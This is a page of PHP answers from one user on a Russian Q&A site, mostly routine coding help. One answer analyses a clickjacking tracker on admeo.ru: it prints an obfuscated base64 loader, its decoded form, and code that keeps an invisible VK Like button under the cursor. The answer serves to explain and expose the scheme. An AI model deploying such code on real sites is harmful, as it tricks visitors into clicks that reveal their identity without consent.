Ответы пользователя по тегу PHP
  • Как разбить строки php?

    27cm
    @27cm
    TODO: Написать статус
    $str = '/category1/category2/page.html';
    
    $parts = preg_split('/(?<=\w\/)(?=\w)/', $str, -1, PREG_SPLIT_NO_EMPTY);
    for ($i = 1; $i < sizeof($parts); $i++) {
        $parts[$i] = $parts[$i - 1] . $parts[$i];
    }


    ideone.com/5usIN4
    Ответ написан
    Комментировать
  • Вытащить ссылку с тегов, как?

    Комментировать
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Как правильно отсортировать имена на php?

    27cm
    @27cm
    TODO: Написать статус
    Приводите строки к одному регистру, если хотите сортировать регистронезависимо:
    usort($results, function ($a, $b) {
        return strcmp(
            strtoupper(str_replace('.', '', $a['name'])), 
            strtoupper(str_replace('.', '', $b['name']))
        );
    });
    Ответ написан
    3 комментария
  • Как убрать этот символ?

    27cm
    @27cm
    TODO: Написать статус
    1. Фильтруйте никнеймы, используя список допустимых символов.
    2. Какие преобразования делаете с никнеймом перед выводом?
    Ответ написан
  • Что в PHP означает запись вида "\SomeNameSpace\SomeClass::class"?

    27cm
    @27cm
    TODO: Написать статус
    Комментировать
  • Как удалить символы между знаками $ и сами символы?

    27cm
    @27cm
    TODO: Написать статус
    $str = 'Две силы $F_{1} =3H$ и$F_{2} =4H$, приложены к одной точке тела. '
         . 'Угол между векторами $\vec{F}_{1} $ и $\vec{F}_{2} $равен $\pi /2$';
    
    echo preg_replace('/\$.*\$/U', '', $str);


    ideone.com/kmBe4f
    Ответ написан
    1 комментарий
  • Сервис визуализации структуры файлов и папок проекта, где найти?

    27cm
    @27cm
    TODO: Написать статус
    Архитектура проекта - это не про папки и файлы. Попробуйте переформулировать вопрос.

    Посмотрите вот это:
    Мой подход к проектированию веб-сайтов
    Серьезное проектирование серьезных сайтов
    Какие инструменты вы используете для проектировани...
    Ответ написан
    Комментировать
  • Как работает почта на Битриксе?

    27cm
    @27cm
    TODO: Написать статус
    Адрес отправителя может быть любым. Но, например, Gmail такие вещи определяет:
    https://support.google.com/mail/troubleshooter/241...
    Ответ написан
    Комментировать
  • PHP роутер, разделение frontend и backend?

    27cm
    @27cm
    TODO: Написать статус
    Два контроллера: один для frontend, второй - для backend.
    Ответ написан
    Комментировать
  • Как обновить сессию после запроса?

    27cm
    @27cm
    TODO: Написать статус
    В конце должно быть вот так ($site_color вместо $query['site_color']):
    $_SESSION['site_color'] = $site_color;
    header('Location: /settings.php');


    P.S.: Зачем второй раз делаете session_start()?
    P.P.S.: Почитайте PSR-2, PDO.
    Ответ написан
    Комментировать
  • Как получить подробную информацию об ошибке PDO?

    27cm
    @27cm
    TODO: Написать статус
    Никак. Что разработчики посчитали нужным засунуть в исключение, то и имеем. Если уж сильно хочется, пишите свою обертку над PDO, и сами формируйте сообщение об ошибке. Ну совсем серьёзный вариант: написать pull request.

    А вообще исключения не для отладки придумали.
    Ответ написан
    Комментировать
  • Как можно упростить данный код?

    27cm
    @27cm
    TODO: Написать статус
    $b = sprintf('A%dB%dC%dD', $bc, $kf, $gr);
    Ответ написан
    2 комментария
  • Как изменить вызов функции?

    27cm
    @27cm
    TODO: Написать статус
    public function getUser($param)
    {
        return \IPS\Member::loggedIn()->{$param};
    }
    Ответ написан
    Комментировать
  • PSR-0 или PSR-4, и как правильно построить структуру проекта?

    27cm
    @27cm
    TODO: Написать статус
    Первый вопрос который меня интересует это PSR-0 или PSR-4. На сколько я понял по состоянию на 21 октября 2014 года PSR-0 был помечен как устаревший.

    PSR-4 не замена PSR-0, а дополнением к нему.
    github.com/php-fig/fig-standards/blob/master/accep...


    про PSR-3 я вообще как-то не нашел русскоязычной информации, словно такого стандарта нет

    Видать, не перевели. Читайте в оригинале:
    github.com/php-fig/fig-standards/blob/master/accep...


    /path/to/project/ это путь к проекту и данный путь нигде не фигурирует, это та директория из которой запускается основной index.php

    Да, это пусть к PHP файлам проекта. Но index.php обычно выносят в отдельный каталог (например, /public), а все классы проекта хранятся, например, в /src (или /lib или ещё как угодно). В конфигурации веб-сервера запрещают отправлять запросы к любым файлам, не лежащим в /public, благодаря этому /public/index.php является единственной точкой входа для внешних запросов.


    ./vendor это папка назначение которой я не понимаю

    Это папка для сторонних библиотек, используемых в вашем проекте. Используется composer'ом. Внутрь лезть особо причин нет, composer сам решит как ему там всё разложить. Свои классы вы туда тоже не должны писать.


    в итоге честно говоря я запутался в том как правильно надо строить свои каталоги, какие папки обязательные какие нет, когда использовать src, когда lib, когда tests, почему в некоторых структурах приходится дважды указывать имя поставщика и имя пкета и т.д.

    src и lib - скажем так, синонимы. Кому как больше нравится. Главное, что внутри лежат сами PHP файлы проекта, следующие стандарту PSR-4. Лежат там только файлы, написанные авторами проекта. Поэтому нет смысла класть vendor внутрь src (или lib).
    test - каталог для тестов проекта.
    В папке vendor имя поставщика и имя проекта могут совпадать, вот они и дублируются.

    Так как вы изобретаете свой велосипед, то и структуру каталогов делайте свою, или посмотрите на популярные CMS/фреймворки, но везде будет по-разному. Joomla, WordPress, Yii, Zend Framework, Symfony.

    Я придерживаюсь такой структуры:
    /config                     Глобальные настройки проекта.
    /data                       Временные файлы. Например:
    /data/cache	            Файлы кеша.
    /data/logs	            Логи.
    /data/tmp	            Прочие временные файлы.
    /module                     Модули проекта. Например:
    /module/Backend	        
    /module/Backend/config      Настройки модуля.
    /module/Backend/src	    Файлы PHP модуля. Например:
    /module/Backend/src/Backend/Path/To/ExampleClass.php
    /module/Backend/test	    Unit-тесты модуля.
    /module/Backend/view	    Шаблоны модуля.
    /module/Frontend/...
    /public/index.php
    /public/css
    /public/font
    /public/img
    /public/js
    /vendor


    Возможно, я ошибаюсь, но самая главная ваша беда в том, что вы решили разрабатывать собственную CMS, не поработав с существующими, не выявив достоинства и недостатки их архитектур и структур каталогов.
    Ответ написан
    7 комментариев
  • В чем разница между "!==", "!=", "==", "==="?

    27cm
    @27cm
    TODO: Написать статус
    Комментировать
  • Как вытащить нужный параметр из JSON в PHP?

    27cm
    @27cm
    TODO: Написать статус
    Может всё-таки json_decode()?
    Ответ написан
    4 комментария
  • Сложно ли новичку создать сайт на Drupal?

    27cm
    @27cm
    TODO: Написать статус
    Составьте подробное техническое задание с прототипами страниц. Заранее продумайте все ключевые детали, чтобы потом меньше переделывать. С ним уже можно идти в вебстудии и к фрилансерам, узнаете точные цены.

    Если, в итоге, всё же будете делать сами, то уже, как минимум, будете совершенно чётко себе представлять, что именно вы делаете, то есть время на написание ТЗ в любом случае стоит потратить.


    Насколько реально человеку не имеющему абсолютно никаких знаний в программировании пытаться самом изучать Drupal , уделяя этому около 2-3 часов?

    Зависит от ваших способностей и от сложности проекта. Если сайт совсем не шаблонный, значит придётся самому много учиться программировать - на это несколько месяцев (даже лет) у людей уходят. А если просто пользоваться (устанавливать и настраивать) Drupal'ом без навыков программирования - можно за неделю освоиться.

    При тех же временных затратах, сколько потребуется времени, чтобы создать подобный сайт (конечно же не финальную версию, но полноценный рабочий сайт, который можно буде показывать)”?

    Базовый функционал социальной сети на популярных движках реализуется вообще без навыков программирования. Просто придётся несколько часов мышкой покликать. Но ведь базовым функционалом и шаблонным внешним видом всё не ограничится? И вот тут уже начнётся реализация "хотелок", которая легко может затянуться на недели (месяцы) работы, даже у профессиональных разработчиков.

    Не возникнут ли в дальнейшем проблемы связанные с тем, что сайт работает на готовом движке, если проект будет успешен?

    Возникнут. Никому ещё не удавалось создать хороший, крупный проект и избежать разного рода проблем.

    Если в дальнейшем будут выявлены проблемы с тем, что проект сделан на Drupal, возможно ли будет при участии профессионалов как-то перенести сайт вместе с базой данных или переписать сайт специально созданный для данных целей “движок”?

    Всё возможно, но потребует времени и денег. По факту может оказаться, что придётся переписывать абсолютно всё. К выбору конкретного языка / фреймворка / cms лучше сразу подойти основательно и не планировать всё переделывать потом.

    При привлечении фрилансера-программиста сколько приблизительно будет стоить создание базовой версии сайта?

    Поищите похожие заказы на биржах: http://freelansim.ru/tasks?q=социальная+сеть
    Ещё лучше - всё же написать ТЗ и попытаться найти исполнителя, разместить предложение на любой популярной фриланс бирже, указав, что цена договорная, там же показав ТЗ (за идею не стоит бояться, идеи ничего не стоят). Вам сразу же и поступят конкретные предложение. Чисто интуитивно, учитывая, что вы так и не написали, чем же ваша социальная сеть, будет отличаться от всех остальных (а ведь чем-то должна) - думаю хороший разработчик возьмётся за 150 000 ± 50 000 р.

    И справится ли программист в одиночку с этой задачей или же будет необходимо подключать веб-дизайнера?

    Если нужен не стандартный (шаблонный) дизайн, и ни один из платных шаблонов тоже не устроит, при условии, что все их можно в какой-то степени переделать, тогда нужен ещё и дизайнер. Ещё наверняка логотип понадобится, с этим тоже к дизайнеру. Кстати, фрилансеры часто работают в тандеме: разработчик + дизайнер.
    Ответ написан
    1 комментарий